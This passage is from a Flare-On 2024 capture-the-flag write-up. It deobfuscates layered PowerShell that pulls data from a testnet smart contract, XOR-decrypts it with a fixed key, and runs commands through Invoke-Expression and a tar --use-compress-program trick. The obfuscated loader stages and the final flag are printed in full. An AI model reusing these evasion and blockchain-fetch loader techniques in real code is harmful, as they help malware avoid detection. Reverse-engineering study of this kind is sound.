a large string with some transformations applied to it | &( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')
The pipe operator does the same as in bash. There’s a join of several strings here: if we echo the first one, [stRing]$VErboSEpRefeReNCe)[1,3]
, we see that it is equal to ie
. This string is then joined with X
, yielding ieX
, which is an alias for Invoke-Expression
in Powershell. To get the third stage, therefore, we’ll just need to echo the part before the pipe:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
echo (("{39}{64}{57}{45}{70}{59}{9}{66}{0}{31}{21}{50}{6}{56}{5}{22}{69}{71}{43}{60}{8}{35}{68}{44}{1}{19}{41}{30}{67}{38}{18}{7}{33}{54}{63}{34}{61}{24}{48}{4}{47}{3}{40}{51}{26}{42}{15}{37}{12}{10}{11}{52}{14}{23}{29}{53}{25}{16}{49}{55}{62}{36}{27}{28}{13}{17}{46}{20}{2}{65}{58}{32}"-f 'CSAKoY+K','xed','P dKoY+KoYohteM- doKoY+KoYhteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS
)1aP}Iz70.2Iz7:Iz7cprnosjIzKoY+KoY7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,KoY+KoYIz7sserddaK6fIz7:Iz7otIz7KoY+KoY{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7d','aBmorFsKoY+KoYetybK6f(gnirtSteKoY+KoYG.8FTU::]gniKoY+KoYdocnE.txeKoY+KoYT.metsyS[( KoY+KoYeulaV- KoY+KoYiicsAtluser emaN-KoY+KoY elbairaV-teS
))2setybK6f(gniKoY+KoYrtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb ema','tamroF # Â _K6f f- 1aP}2X:0{1aP
{ tcejbO-hcaEroF sOI ii','KoY+KoYab tlKoY+KoYuKoY+KoYser eht trevnoC #
}
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb-','teS
)gnidocne IICSA gnimussa( gnirts','KoY+KoYV-','eT[( eulaV- 5setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBo','c[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)KoY
dnammocK6f noisserpxE-ekovnI
)Iz7galfZjWZjW:C f- 1aPgaKoY+KoYlfZjWZjW:C > gnirtStlKoY+KoYuserK6KoY+KoYf ohce c/ dm','N- ','elbai','yb ema',')tl','.rebmuNxehK6f(etyBoT::]trevnoC[ Â ','0setybK6f(gni','Y+KoYcejbO-hcaEroFKoY+KoY sOI )1','user.)ydob_K6f ydoB- Iz7nosj/noitacil','usne( setyb ot xeh KoY+KoYmorf trevnoC #
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f(KoY+KoY eula','nItrats em','noKoY+KoYC- tniopdne_tentsetK6f irU- 1aPtsoP1a','eT.metsyS[( eulaV- gnirtStluser emaN-',' ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- ','KoY+KoY
)1 + xednKoY+KoYItratsK6f( eu','eS
)}
srettel esacrKoY+KoYeppu htiw xeh tigid-',' KoY+KoYtKo','ulaV','f( eulaV','- rebmuNxeh emaN- elbairaV-teS
xiferp 1aPx01aP eht evomeR KoY+KoY#
','laV- xednIdne KoY+KoYema','F sOI )1 ','oY::]gnidocnE.tx','eSKoY( G62,KoY.KoY ,KoYriGHTToLeftKoY) DF9%{X2j_ } )+G62 X2j(set-ITEM Â KoYvArIAbLE:oFSKoY KoY KoY )G62) ',' setyBxeh em','etirW#
 )1aP 1aP KoY+KoYnioj- setyBxehK6f( eulaV- gnirtSxehKoY+KoY emaN- elbairaKoY+KoY','T::]trevnoC[
)1 + xednItra','alper- pserK6','rtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1set','elbairaV-tKoY+KoYeS
)sretcarahc xeh fo sriap gnir','. ( X2jEnV:coMspec[4,26,25]-jOInKoYKoY)(G62X2j(set-iTem KoYVAriABle:OfSKoY Â KoYKoY )G62 + ( [STrinG][REGEx]:','N- elbairaV-teS
sety','aN- elbairaV-teS
{ tcejbO-hcaEro','- 2setyb emaN- eKoY+KoYlbairaV-teS
))',' eht mrofreP ','ne emaN- elbairKoY+KoYaV-teS
)2 * _K6f( eulaV- ','-]2,11,3[EmAN.)KoY*rdm*KoY ElBAIrav((.DF9)421]RAHc[]GnIRTS[,KoYsOIKoY(EcALPER.)','ppaIz7 epyTtnet','csAtlKoY+KoYuserK6f( euKoY+KoYlaV- setyBxeh emaN- elbairaV-teS
))46es','owt sa etyb hcae ',' - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS
)sretcarahc xeh fo sriap gnirusne(K',' elbairaV-','b ot 46esab morf trevnoC #
))881 ,46(gnirtsbuS.1setybK6f( e','raV-teS
 )}
)61 ,)2 ,xednItratsK6f(gnirtsbuS','N- elbairaV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{','aN-','oY+KoY setyb ot xeh morf trevnoC #
)1aP1',' a ot kc','YNIoJ','aN- elbairaV-t','cALPER.)KoYaVIKoY,)09]RAHc[+601]RAHc[+78]RAH','#
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-teKoY+KoYS
setyb ot yek eht trevnoC #
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.tx','V-t','aP ,1aPx01aP ec',' elbairaV-teS
gnirtSxKoY+KoYehK6f tuKoY+KoYptuO-',':MATCHeS(G62)KoYKo','ohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS
)Iz7 Iz7( eulaV-KoY+KoY tniKoY+KoYopdne_tentset em','c1aP maKoY+KoYrgorp-sserpmoc-esu-- x- ratIzKoY+KoY7( eulaV-KoY+KoY dnammoc emaKoY+KoYN- elbairaV-teS
))setyBtluserK6f(gnirtSteGKoY+KoY.II','- 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- ','tsK6f( eulaV- xednId','setyBtluser emaN- ','43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((E','elbairaVKoY+KoY-teS
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof
))(@( eulaV- setyBtluser emaN- KoY+KoYelbairaV-teS
noitarepo ROX')).REpLACE('DF9','|').REpLACE('KoY',[STrinG][cHaR]39).REpLACE(([cHaR]71+[cHaR]54+[cHaR]50),[STrinG][cHaR]34).REpLACE('X2j','$').REpLACE('aVI',[STrinG][cHaR]92)
Third Stage
The payload for this stage is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
. ( $EnV:coMspec[4,26,25]-jOIn'')("$(set-iTem 'VAriABle:OfS' Â '' )" + ( [STrinG][REGEx]::MATCHeS(")''NIoJ-]2,11,3[EmAN.)'*rdm*' ElBAIrav((.|)421]RAHc[]GnIRTS[,'sOI'(EcALPER.)43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((EcALPER.)'\',)09]RAHc[+601]RAHc[+78]RAHc[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)'
dnammocK6f noisserpxE-ekovnI
)Iz7galfZjWZjW:C f- 1aPga'+'lfZjWZjW:C > gnirtStl'+'userK6'+'f ohce c/ dmc1aP ma'+'rgorp-sserpmoc-esu-- x- ratIz'+'7( eulaV-'+' dnammoc ema'+'N- elbairaV-teS
))setyBtluserK6f(gnirtSteG'+'.IICSA'+'::]gnidocnE.txeT.metsyS[( eulaV- gnirtStluser emaN- elbairaV-teS
)gnidocne IICSA gnimussa( gnirts a ot kc'+'ab tl'+'u'+'ser eht trevnoC #
}
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb- ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- setyBtluser emaN- elbairaV'+'-teS
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof
))(@( eulaV- setyBtluser emaN- '+'elbairaV-teS
noitarepo ROX eht mrofreP #
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-te'+'S
setyb ot yek eht trevnoC #
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT[( eulaV- 5setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBoT::]trevnoC[
)1 + xednItratsK6f( eulaV- xednIdne emaN- elbair'+'aV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{ tcejbO-hcaEroF sOI )1 - 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- elbairaV-t'+'eS
)sretcarahc xeh fo sriap gnirusne( setyb ot xeh '+'morf trevnoC #
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f('+' eula'+'V- setyBxeh emaN- elbairaV-teS
gnirtSx'+'ehK6f tu'+'ptuO-etirW#
 )1aP 1aP '+'nioj- setyBxehK6f( eulaV- gnirtSxeh'+' emaN- elbaira'+'V-teS
)}
srettel esacr'+'eppu htiw xeh tigid-owt sa etyb hcae tamroF # Â _K6f f- 1aP}2X:0{1aP
{ tcejbO-hcaEroF sOI iicsAtl'+'userK6f( eu'+'laV- setyBxeh emaN- elbairaV-teS
))46esaBmorFs'+'etybK6f(gnirtSte'+'G.8FTU::]gni'+'docnE.txe'+'T.metsyS[( '+'eulaV- '+'iicsAtluser emaN-'+' elbairaV-teS
))2setybK6f(gni'+'rtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb emaN- elbairaV-teS
setyb ot 46esab morf trevnoC #
))881 ,46(gnirtsbuS.1setybK6f( eulaV- 2setyb emaN- e'+'lbairaV-teS
))0setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1setyb emaN- elbairaV-teS
 )}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.rebmuNxehK6f(etyBoT::]trevnoC[ Â '+'
)1 + xedn'+'ItratsK6f( eulaV- xednIdne '+'emaN- elbairaV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{ '+'t'+'cejbO-hcaEroF'+' sOI )1 - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS
)sretcarahc xeh fo sriap gnirusne('+' setyb ot xeh morf trevnoC #
)1aP1aP ,1aPx01aP ecalper- pserK6f( eulaV- rebmuNxeh emaN- elbairaV-teS
xiferp 1aPx01aP eht evomeR '+'#
)tluser.)ydob_K6f ydoB- Iz7nosj/noitacilppaIz7 epyTtnetno'+'C- tniopdne_tentsetK6f irU- 1aPtsoP1aP d'+'ohteM- do'+'hteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS
)1aP}Iz70.2Iz7:Iz7cprnosjIz'+'7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,'+'Iz7sserddaK6fIz7:Iz7otIz7'+'{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7dohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS
)Iz7 Iz7( eulaV-'+' tni'+'opdne_tentset emaN- elbairaV-teS'( ",'.' ,'riGHTToLeft') |%{$_ } )+" $(set-ITEM Â 'vArIAbLE:oFS' ' ' )")
This payload is of the form . (a large string)
. The dot operator, when used like this, evaluates the string inside and executes its output. Therefore, to get past this stage, we can simply replace the .
with echo
, yielding the payload below.
1
 ('Set-Variable -Name testnet_endpo'+'int '+'-Value (7zI 7zI)Set-Variable -Name _body -Value (Pa1{7zImethod7zI:7zIeth_call7zI,7zIparams7zI:[{'+'7zIto7zI:7zIf6Kaddress7zI'+',7zIdata7zI:7zI0x5c880fcb7zI}, BLOCK],7zIid7zI:1,7'+'zIjsonrpc7zI:7zI2.07zI}Pa1)Set-Variable -Name resp -Value ((Invoke-RestMeth'+'od -Metho'+'d Pa1PostPa1 -Uri f6Ktestnet_endpoint -C'+'ontentType 7zIapplication/json7zI -Body f6K_body).result)#'+' Remove the Pa10xPa1 prefixSet-Variable -Name hexNumber -Value (f6Kresp -replace Pa10xPa1, Pa1Pa1)# Convert from hex to bytes '+'(ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..(f6KhexNumber.Length / 2 - 1) IOs '+'ForEach-Objec'+'t'+' {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-Variable -Name'+' endIndex -Value (f6KstartI'+'ndex + 1)'+'  [Convert]::ToByte(f6KhexNumber.Substring(f6KstartIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString(f6Kbytes0))Set-Variabl'+'e -Name bytes2 -Value (f6Kbytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64Str'+'ing(f6Kbytes2))Set-Variable '+'-Name resultAscii'+' -Value'+' ([System.T'+'ext.Encod'+'ing]::UTF8.G'+'etString(f6Kbyte'+'sFromBase64))Set-Variable -Name hexBytes -Val'+'ue (f6Kresu'+'ltAscii IOs ForEach-Object {Pa1{0:X2}Pa1 -f f6K_  # Format each byte as two-digit hex with uppe'+'rcase letters})Set-V'+'ariable -Name '+'hexString -Value (f6KhexBytes -join'+' Pa1 Pa1) #Write-Outp'+'ut f6Khe'+'xStringSet-Variable -Name hexBytes -V'+'alue '+'(f6KhexBytes -replace 7zI 7zI, 7zI7zI)# Convert from'+' hex to bytes (ensuring pairs of hex characters)Se'+'t-Variable -Name bytes3 -Value (0..(f6KhexBytes.Length / 2 - 1) IOs ForEach-Object {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-Va'+'riable -Name endIndex -Value (f6KstartIndex + 1)[Convert]::ToByte(f6KhexBytes.Substring(f6KstartIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString(f6Kbytes3))# Convert the key to bytesS'+'et-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes(7zIFLAREON247zI))# Perform the XOR operationSet-Variable'+' -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); f6Ki -lt f6Kbytes5.Length; f6Ki++) {Set-'+'Variable -Name resultBytes -Value (f6KresultBytes + (f6Kbytes5[f6Ki] -bxor f6KkeyBytes[f6Ki % f6KkeyBytes.Length])) }# Convert the res'+'u'+'lt ba'+'ck to a string (assuming ASCII encoding)Set-Variable -Name resultString -Value ([System.Text.Encoding]::'+'ASCII.'+'GetString(f6KresultBytes))Set-Variable -N'+'ame command '+'-Value (7'+'zItar -x --use-compress-progr'+'am Pa1cmd /c echo f'+'6Kresu'+'ltString > C:WjZWjZfl'+'agPa1 -f C:WjZWjZflag7zI)Invoke-Expression f6Kcommand').REPLAcE(([cHAR]102+[cHAR]54+[cHAR]75),[STRInG][cHAR]36).REPLAcE(([cHAR]80+[cHAR]97+[cHAR]49),[STRInG][cHAR]39).REPLAcE(([cHAR]87+[cHAR]106+[cHAR]90),'\').REPLAcE(([cHAR]55+[cHAR]122+[cHAR]73),[STRInG][cHAR]34).REPLAcE('IOs',[STRInG][cHAR]124)|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'')
Fourth stage
The payload here is of the form large string|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'')
. If we echo the string inside the dot operator after the pipe, we see that it is equal to iex
, so the string before the pipe will be executed. Once again, we can just echo the string before the pipe, giving us the final stage!
1
Set-Variable -Name testnet_endpoint -Value (" ")Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)# Remove the '0x' prefixSet-Variable -Name hexNumber -Value ($resp -replace '0x', '')# Convert from hex to bytes (ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {Set-Variable -Name startIndex -Value ($_ * 2)Set-Variable -Name endIndex -Value ($startIndex + 1) Â [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {'{0:X2}' -f $_ Â # Format each byte as two-digit hex with uppercase letters})Set-Variable -Name hexString -Value ($hexBytes -join ' ') #Write-Output $hexStringSet-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")# Convert from hex to bytes (ensuring pairs of hex characters)Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {Set-Variable -Name startIndex -Value ($_ * 2)Set-Variable -Name endIndex -Value ($startIndex + 1)[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))# Convert the key to bytesSet-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))# Perform the XOR operationSet-Variable -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])) }# Convert the result back to a string (assuming ASCII encoding)Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")Invoke-Expression $command
Nice! We finally deobfuscated all of the Powershell. The final code we got is all in one line, which makes it a bit hard to analyze, so I asked ChatGPT to beautify it, and it output a pretty good final result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Set-Variable -Name testnet_endpoint -Value (" ")
Set-Variable -Name _body -Value ('{
"method": "eth_call",
"params": [
{
"to": "$address",
"data": "0x5c880fcb"
},
BLOCK
],
"id": 1,
"jsonrpc": "2.0"
}')
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {
'{0:X2}' -f $_
})
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
Invoke-Expression $command
On a high level, this code does the following:
Send an
eth_call
API request to a Binance Testnet RPC endpoint, where specifying the address and block number is left to us. Theeth_call
request calls a contract. The data passed is0x5c880fcb
, which is the id of the read method in the second contract we reversed. Therefore, the$address
that should be called is the address of the second contract (0x5324eab94b236d4d1456edc574363b113cebf09d)The data that is received from the contract is then XORed with the constant key
FLAREON24
, and the result is stored in the fileC:\flag
(this is done in the last two lines) Recall that the read method just returns whatever data was written into the storage of the contract at the time of the call. Since we don’t know the exact block number, we can just try decrypting the data written into the contract at each transaction (there’s ~20 such transactions) with the key from the final payload (FLAREON24). After some trial and error, we arrive at 4 transactions (one, two, three, and four), whose transaction data spell legible strings when decrypted with the key. We decrypt them using the following Python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
ct9 = b"MDEgMjMgMmUgMzYgNjUgM2IgMjYgNWIgNWEgMjEgNmMgMzUgM2EgMmMgM2MgNmUgNWIgNDcgNjYgMjMgMmYgNzIgMzEgMjcgMmIgMTIgNDAgMjMgM2YgMzUgM2MgMjAgM2I="
ct10 = b"MWYgMjkgMzUgNzIgMjggMjAgM2MgNTcgMTQgMjggMjMgMjggMjEgMjAgNmUgNmY="
ct11 = b"MGYgNmMgMzYgM2IgMzYgMjcgNmUgNDYgNWMgMmYgM2YgNjEgMjUgMjQgM2MgNmUgNDYgNWMgMjMgNmMgMjcgM2UgMjQgMjg=="
ct12 = b"MDggN2MgMzUgMGQgNzYgMzkgN2QgNWMgNmIgMDIgMWMgMTMgMTkgMWEgMjYgN2IgNmQgNjAgMmUgN2QgNzQgMGQgNzQgN2MgN2QgMDUgNmIgNzcgMjIgMWUgMDUgMjAgMmQgN2QgNzIgNTIgMmEgMmQgMzMgMzcgNjggMjAgMjAgMWMgNTcgMjkgMjE=="
KEY = b"FLAREON24"
hex_string_to_bytes = lambda s: bytes([int(x, 16) for x in s.split(b" ")])
decrypt = lambda ct: bytes([KEY[j % len(KEY)] ^ ct[j] for j in range(len(ct))])
ciphertexts = [ct9, ct10, ct11, ct12]
ciphertexts = [base64.decodebytes(ct) for ct in ciphertexts]
ciphertexts = [hex_string_to_bytes(ct) for ct in ciphertexts]
plaintexts = [decrypt(ct) for ct in ciphertexts]
for pt in plaintexts:
print(pt)
Running this prints:
1
2
3
4
b'Good thing this is on the testnet'
b'Yet more noise!!'
b'I wish this was the flag'
b'N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com'
And we got the eighth flag!
Conclusion
As I said in the introduction, I highly enjoyed playing this CTF, and learned many new things. All of the challenges were fun, but all in all my favorite ones were 7 and 5. I liked how the challenges were very diverse and spanned many different types of programs to reverse: Python, Golang, YARA, JS, a core dump with encrypted shellcode, AOT .NET, and more. I’m really looking forward to playing next year’s FLARE-ON!
Thanks for reading! Yoray